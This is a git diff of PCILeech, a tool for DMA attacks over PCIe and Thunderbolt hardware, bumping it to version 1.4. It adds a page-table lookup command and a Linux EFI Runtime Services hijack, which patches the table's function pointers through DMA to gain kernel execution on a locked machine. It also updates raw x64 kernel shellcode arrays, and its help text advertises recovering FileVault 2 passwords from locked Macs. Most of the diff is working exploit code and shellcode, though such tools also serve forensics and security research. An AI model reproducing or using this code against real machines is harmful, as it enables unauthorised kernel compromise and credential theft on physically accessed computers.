diff --git a/pcileech/extra.c b/pcileech/extra.c index d9e337c..96a3bf9 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -1,6 +1,6 @@ // extra.c : implementation related various extra functionality such as exploits. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "extra.h" @@ -128,3 +128,15 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData LocalFree(pbBuffer512M); if(hFile) { CloseHandle(hFile); } } + +VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + QWORD qwVA, qwPTE; + result = Util_PageTable_FindMappedAddress(pCfg, pDeviceData, pCfg->qwCR3, pCfg->qwDataIn[0], &qwVA, &qwPTE); + if(result) { + printf("PT_PHYS2VIRT: PA: 0x%016llx :: VA: 0x%016llx :: PTE: 0x%016llx.\n", pCfg->qwDataIn[0], qwVA, qwPTE); + } else { + printf("PT_PHYS2VIRT: Failed.\n"); + } +} \ No newline at end of file diff --git a/pcileech/extra.h b/pcileech/extra.h index d844658..46cb9aa 100644 --- a/pcileech/extra.h +++ b/pcileech/extra.h @@ -15,4 +15,11 @@ */ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); +/* +* Search for the virtual address that maps to a physical address given a page table base. +* -- pCfg +* -- pDeviceData +*/ +VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + #endif /* __EXTRA_H__ */ diff --git a/pcileech/help.c b/pcileech/help.c index 5dceb1b..c188a2e 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -1,6 +1,6 @@ // help.c : implementation related to displaying help texts. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "help.h" @@ -48,6 +48,7 @@ VOID Help_ShowGeneral() " 8051stop DMA,KMD \n" \ " flash DMA,KMD [ in ] \n" \ " pagedisplay DMA,KMD [ min ] \n" \ + " pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \ " testmemread DMA [ min ] \n" \ " testmemreadwrite DMA [ min ] \n" \ " System specific commands and valid MODEs [ and options ]: \n" \ @@ -102,8 +103,9 @@ VOID Help_ShowGeneral() " -kmd : address of already loaded kernel module helper (KMD). \n" \ " ALTERNATIVELY \n" \ " kernel module to use, see list below for choices: \n" \ - " WIN10_X64 (WARNING! Unstable/Experimental) \n" \ - " LINUX_X64 \n" \ + " WIN10_X64 (WARNING! Unstable/Experimental) \n" \ + " LINUX_X64 (NB! Kernels below 4.8 only) \n" \ + " LINUX_X64_EFI (NB! EFI/UEFI booted systems only) \n" \ " FREEBSD_X64 \n" \ " MACOS \n" \ ); @@ -122,7 +124,7 @@ VOID Help_ShowInfo() printf( " PCILEECH INFORMATION \n" \ " PCILeech (c) 2016 Ulf Frisk \n" \ - " Version: 1.3 \n" \ + " Version: 1.4 \n" \ " License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ " Contact information: pcileech@frizk.net \n" \ " System requirements: 64-bit Windows 7, 10 or later. \n" \ @@ -338,7 +340,7 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg) break; case MAC_FVRECOVER: printf( - " RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM. (CVE-2016-XXXXX) \n" \ + " RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM. \n" \ " MODES : DMA \n" \ " OPTIONS : \n" \ " Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port. You\n" \ @@ -354,6 +356,20 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg) " 1) recover the filevault 2 disk encryption password. \n" \ " pcileech.exe mac_fvrecover \n"); break; + case PT_PHYS2VIRT: + printf( + " SEARCH FOR VIRTUAL ADDRESS MAPPED TO GIVEN PHYSICAL ADDRESS. \n" \ + " MODES : DMA, KMD \n" \ + " OPTIONS : -cr3, -0 \n" \ + " Walk the page table of which base is specified on the 'cr3' option to find the\n" \ + " first occurrence of a virtual address mapped to the physical address specified\n" \ + " in the '0' option. If an entry is found the virtual address and the PTE will \n" \ + " be displayed. Only the first occurrence will be displayed. \n" \ + " EXAMPLEs: \n" \ + " 1) search for virtual address mapped to physical 0xfed90000 given a page table\n" \ + " (PML4) base at: 0x1aa000. \n" \ + " pcileech.exe pt_phys2virt -cr3 0x1aa000 -0 0xfed90000 \n"); + break; case EXEC: _HelpShowExecCommand(pCfg); break; @@ -362,4 +378,4 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg) " Detailed help for this command or implant is not available. \n"); break; } -} \ No newline at end of file +} diff --git a/pcileech/kmd.c b/pcileech/kmd.c index e6b5489..22b1c2a 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -1,6 +1,6 @@ // kmd.c : implementation related to operating systems kernel modules functionality. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "kmd.h" @@ -115,6 +115,49 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In return E_FAIL; } +// EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information). +#define IS_SIGNATURE_EFI_RUNTIME_SERVICES(pb) ((*(PQWORD)(pb) == 0x56524553544e5552) && (*(PDWORD)(pb + 12) == 0x88) && (*(PDWORD)(pb + 20) == 0)) + +BOOL KMD_FindSignature_EfiRuntimeServices(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PQWORD pqwAddrPhys) +{ + BOOL result = FALSE; + QWORD o, qwCurrentAddress; + PAGE_STATISTICS pageStat; + PBYTE pbBuffer16M; + if(!(pbBuffer16M = LocalAlloc(0, 0x01000000))) { + return FALSE; + } + pCfg->qwAddrMin &= ~0xfff; + pCfg->qwAddrMax = (pCfg->qwAddrMax + 1) & ~0xfff; + if(pCfg->qwAddrMax == 0) { + pCfg->qwAddrMax = 0x100000000; + } + qwCurrentAddress = pCfg->qwAddrMin; + PageStatInitialize(&pageStat, pCfg->qwAddrMin, pCfg->qwAddrMax, "Searching for EFI Runtime Services", pDeviceData->KMDHandle ? TRUE : FALSE, pCfg->fVerbose); + while(qwCurrentAddress < pCfg->qwAddrMax) { + result = Util_Read16M(pCfg, pDeviceData, pbBuffer16M, qwCurrentAddress, &pageStat); + if(!result && !pCfg->fForceRW && !pDeviceData->KMDHandle) { + goto cleanup; + } + for(o = 0x18; o < 0x01000000 - 0x88; o += 8) { + // EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information). + // 0x30646870 == phd0 EFI memory artifact required to rule out additional false positives. + if((*(PDWORD)(pbBuffer16M + o - 0x18) == 0x30646870) && IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbBuffer16M + o)) { + pageStat.szAction = "Waiting for EFI Runtime Services"; + *pqwAddrPhys = qwCurrentAddress + o; + result = TRUE; + goto cleanup; + } + } + // add to address + qwCurrentAddress += 0x01000000; + } +cleanup: + LocalFree(pbBuffer16M); + PageStatClose(&pageStat); + return result; +} + //------------------------------------------------------------------------------- // macOS generic kernel seek below. //------------------------------------------------------------------------------- @@ -232,7 +275,7 @@ error: } //------------------------------------------------------------------------------- -// LINUX generic kernel seek below. +// LINUX generic kernel seek below. (pre 4.8 kernel versions). //------------------------------------------------------------------------------- BOOL KMD_LinuxIsAllAddrFoundSeek(_In_ PKERNELSEEKER pS, _In_ DWORD cS) @@ -325,7 +368,7 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2) && KMD_LinuxFindFunctionAddrTBL(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2); if(result) { - Util_CreateSignatureLinuxGeneric(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature); + Util_CreateSignatureLinuxGenericPre48(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature); break; } } @@ -333,6 +376,90 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa return result; } +//------------------------------------------------------------------------------- +// LINUX EFI Runtime Services hijack. +//------------------------------------------------------------------------------- + +BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + QWORD i, o, qwAddrEfiRt; + DWORD dwPhysAddrS2, dwPhysAddrS3, *pdwPhysicalAddress; + BYTE pb[0x1000], pbOrig[0x1000], pbEfiRt[0x1000]; + SIGNATURE oSignature; + //------------------------------------------------ + // 1: Locate and fetch EFI Runtime Services table. + //------------------------------------------------ + result = KMD_FindSignature_EfiRuntimeServices(pCfg, pDeviceData, &qwAddrEfiRt); + if(!result) { + printf("KMD: Failed. EFI Runtime Services not found.\n"); + } + if((qwAddrEfiRt & 0xfff) + 0x88 > 0x1000) { + printf("KMD: Failed. EFI Runtime Services table located on page boundary.\n"); + return FALSE; + } + result = DeviceReadDMA(pDeviceData, qwAddrEfiRt & ~0xfff, pbEfiRt, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + if(!result || !IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbEfiRt + (qwAddrEfiRt & 0xfff))) { + printf("KMD: Failed. Error reading EFI Runtime Services table.\n"); + return FALSE; + } + //------------------------------------------------ + // 2: Fetch signature and original data. + //------------------------------------------------ + Util_CreateSignatureLinuxEfiRuntimeServices(&oSignature); + *(PQWORD)(oSignature.chunk[3].pb + 0x28) = qwAddrEfiRt; // 0x28 == offset data_addr_runtserv. + memcpy(oSignature.chunk[3].pb + 0x30, pbEfiRt + (qwAddrEfiRt & 0xfff) + 0x18, 0x70); // 0x30 == offset data_runtserv_table_fn. + result = DeviceReadDMA(pDeviceData, 0, pbOrig, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + if(!result) { + printf("KMD: Failed. Error reading at address 0x0.\n"); + return FALSE; + } + //------------------------------------------------ + // 3: Patch wait to reveive execution of EFI code. + //------------------------------------------------ + DeviceWriteDMA(pDeviceData, 0, oSignature.chunk[3].pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + for(i = 0; i < 14; i++) { + o = (qwAddrEfiRt & 0xfff) + 0x18 + 8 * i; // 14 tbl entries of 64-bit/8-byte size. + *(PQWORD)(pbEfiRt + o) = 0x100 + 2 * i; // each PUSH in receiving slide is 2 bytes, offset to code = 0x100. + } + DeviceWriteDMA(pDeviceData, qwAddrEfiRt, pbEfiRt + (qwAddrEfiRt & 0xfff), 0x88 /* 0x18 hdr, 0x70 fntbl */, PCILEECH_MEM_FLAG_RETRYONFAIL); + memset(pb, 0, 0x1000); + pdwPhysicalAddress = (PDWORD)(pb + 0x20); // 0x20 == offset data_phys_addr_alloc. + printf( + "KMD: EFI Runtime Services table hijacked - Waiting to receive execution.\n" + " To trigger EFI execution take action. Example: 'switch user' in the\n" + " Ubuntu graphical lock screen may trigger EFI Runtime Services call.\n"); + do { + Sleep(100); + if(!DeviceReadDMA(pDeviceData, 0, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + Util_WaitForPowerCycle(pCfg, pDeviceData); + printf("KMD: Resume waiting to receive execution.\n"); + } + } while(!*pdwPhysicalAddress); + dwPhysAddrS2 = *pdwPhysicalAddress; + printf("KMD: Execution received - waiting for kernel hook to activate ...\n"); + //------------------------------------------------ + // 4: Restore EFI Runtime Services shellcode and move on to 2nd buffer. + //------------------------------------------------ + DeviceWriteDMA(pDeviceData, 0, pbOrig, 0x1000, 0); + memset(pb, 0, 0x1000); + printf("KMD: Waiting to receive execution.\n"); + do { + Sleep(100); + if(!DeviceReadDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); + return FALSE; + } + } while(!*pdwPhysicalAddress); + dwPhysAddrS3 = *pdwPhysicalAddress; + //------------------------------------------------ + // 5: Clear 2nd buffer and set up stage #3. + //------------------------------------------------ + memset(pb, 0, 0x1000); + DeviceWriteDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, 0); + return KMD_SetupStage3(pCfg, pDeviceData, dwPhysAddrS3, oSignature.chunk[4].pb, 4096); +} + //------------------------------------------------------------------------------- // Windows 8/10 generic kernel implant below. //------------------------------------------------------------------------------- @@ -890,6 +1017,8 @@ BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) return KMDOpen_PageTableHijack(pCfg, pDeviceData); } else if(0 == _stricmp(pCfg->szKMDName, "WIN10_X64")) { return KMDOpen_HalHeapHijack(pCfg, pDeviceData); + } else if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64_EFI")) { + return KMDOpen_LinuxEfiRuntimeServicesHijack(pCfg, pDeviceData); } else { return KMDOpen_MemoryScan(pCfg, pDeviceData); } diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 7226f46..221b5d1 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -1,6 +1,6 @@ // pcileech.c : implementation of core pcileech functionality. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "pcileech.h" @@ -35,6 +35,7 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg) {.tp = TESTMEMREAD,.sz = "testmemread" }, {.tp = TESTMEMREADWRITE,.sz = "testmemreadwrite" }, {.tp = MAC_FVRECOVER,.sz = "mac_fvrecover" }, + {.tp = PT_PHYS2VIRT,.sz = "pt_phys2virt" }, }; QWORD qw; DWORD j, i = 1; @@ -133,8 +134,8 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg) pCfg->qwAddrMin = pCfg->qwAddrMax; pCfg->qwAddrMax = qw; } - pCfg->qwCR3 &= 0xfffff000; - pCfg->qwKMD &= 0xfffff000; + pCfg->qwCR3 &= ~0xfff; + pCfg->qwKMD &= ~0xfff; return S_OK; } @@ -202,6 +203,8 @@ int main(_In_ int argc, _In_ char* argv[]) ActionMemoryTestReadWrite(pCfg, &device); } else if(pCfg->tpAction == MAC_FVRECOVER) { Action_MacFilevaultRecover(pCfg, &device); + } else if(pCfg->tpAction == PT_PHYS2VIRT) { + Action_PT_Phys2Virt(pCfg, &device); } else if(pCfg->tpAction == KMDLOAD) { if(pCfg->qwKMD) { printf("KMD: Successfully loaded at address: 0x%08x\n", (DWORD)pCfg->qwKMD); diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index 667da92..3b9b1ec 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -1,6 +1,6 @@ // pcileech.h : definitions for pcileech - dump memory and unlock computers with a USB3380 device using DMA. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __PCILEECH_H__ @@ -76,7 +76,8 @@ typedef enum tdActionType { KMDLOAD, KMDEXIT, EXEC, - MAC_FVRECOVER + MAC_FVRECOVER, + PT_PHYS2VIRT } ACTION_TYPE, PACTION_TYPE; #define CONFIG_MAX_INSIZE 0x400000 // 4MB diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index 144c427..e584640 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -1,6 +1,6 @@ // shellcode.h : default shellcode used by pcileech in default scenarios. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __SHELLCODE_H__ @@ -212,7 +212,7 @@ const BYTE LINUX_X64_STAGE2_BIN[] = { 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f, 0x22, 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x9b, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xdc, 0x00, 0x00, - 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, + 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0xfc, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0xe6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, @@ -261,7 +261,7 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x8d, 0x0d, 0xc4, 0xef, 0xff, 0xff, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, - 0x20, 0xe8, 0xfe, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, + 0x20, 0xe8, 0x36, 0x03, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x49, 0xc7, 0xc5, 0x50, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48, 0x8d, 0x05, 0x6f, 0x00, 0x00, 0x00, 0x50, 0x48, @@ -304,71 +304,220 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b, 0xc7, 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xec, 0x50, 0x8b, 0xf2, 0x48, 0x8b, 0xd9, 0x33, 0xff, 0x48, 0x8b, + 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, + 0x42, 0xf6, 0xe8, 0xfb, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x30, + 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x8b, 0xc8, 0xe8, 0x54, 0xff, 0xff, + 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83, 0xc7, 0x08, 0x48, 0x83, + 0xff, 0x10, 0x72, 0xca, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x7c, + 0x24, 0x20, 0x48, 0x8d, 0x81, 0x00, 0x00, 0x20, 0x00, 0x48, 0x3b, 0xf8, + 0x75, 0x16, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0xc7, 0x43, 0x18, 0x00, + 0x00, 0x40, 0x00, 0x48, 0x89, 0x4b, 0x20, 0xe9, 0xae, 0x00, 0x00, 0x00, + 0x48, 0x85, 0xff, 0x75, 0x0c, 0x48, 0x85, 0xc9, 0x75, 0x07, 0x33, 0xc0, + 0xe9, 0x9d, 0x00, 0x00, 0x00, 0x85, 0xf6, 0x75, 0x29, 0x33, 0xff, 0x48, + 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, + 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x7b, + 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, + 0xeb, 0xcc, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x40, 0xff, 0xff, 0xff, + 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, + 0x2c, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, + 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, + 0x00, 0x00, 0xe8, 0x3b, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, + 0xff, 0x02, 0x72, 0xdb, 0x48, 0x8b, 0xc6, 0xeb, 0x2d, 0x48, 0x8b, 0x54, + 0x24, 0x38, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, + 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x11, 0xfe, 0xff, + 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, + 0x20, 0x00, 0x48, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, + 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x4c, 0x8d, 0xb1, 0x00, 0x03, 0x00, 0x00, 0x48, 0xc7, 0x41, 0x50, 0x02, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x89, 0x01, 0x49, 0x8b, 0xd6, 0x48, 0x8b, - 0x49, 0x10, 0xe8, 0xc5, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x0e, - 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x99, 0x02, - 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, - 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xbb, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, - 0xeb, 0xd3, 0x48, 0x8b, 0xcd, 0xe8, 0x0f, 0xff, 0xff, 0xff, 0x48, 0x8b, - 0x4b, 0x10, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x20, 0xe8, 0xe8, 0xfe, - 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x00, - 0x04, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x28, 0x48, 0xc7, - 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, 0xe8, 0x73, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, - 0x62, 0xfe, 0xff, 0xff, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x4c, 0xfe, - 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, - 0x75, 0x30, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, - 0x24, 0x40, 0xe8, 0x2f, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, - 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x49, - 0x8b, 0x0e, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x12, 0xfe, 0xff, 0xff, - 0xeb, 0xb4, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xf8, 0x03, 0x0f, 0x84, 0x8f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, - 0x75, 0x43, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, - 0x74, 0x2d, 0x48, 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0x64, 0xfe, - 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, - 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0xcd, 0xfd, 0xff, 0xff, 0x33, 0xc9, 0x48, - 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xeb, 0x05, 0x48, - 0x83, 0x63, 0x38, 0x00, 0xe8, 0x8a, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xbb, - 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, - 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, - 0xff, 0x53, 0x28, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, - 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b, 0xc4, 0x0f, 0x87, 0xa7, 0x00, - 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x1f, 0xfe, 0xff, - 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, - 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, - 0x89, 0x44, 0x24, 0x20, 0xe8, 0x55, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf0, - 0x49, 0x3b, 0xc4, 0x74, 0x6f, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0, - 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x8f, 0xfd, 0xff, 0xff, 0xeb, - 0x10, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, - 0xe8, 0x29, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, - 0x43, 0x4c, 0x8b, 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, - 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x09, 0x48, 0x8b, 0x53, - 0x28, 0x4c, 0x8b, 0xc0, 0xeb, 0x07, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, - 0xd7, 0xe8, 0xf8, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x0f, 0x48, - 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xe4, 0xfc, - 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, - 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, - 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, - 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xb7, 0xfc, 0xff, 0xff, 0x4c, - 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, - 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, - 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x91, 0xfc, 0xff, - 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, - 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, - 0x00, 0xe8, 0x74, 0xfc, 0xff, 0xff, 0xe9, 0x13, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0x8b, 0x18, 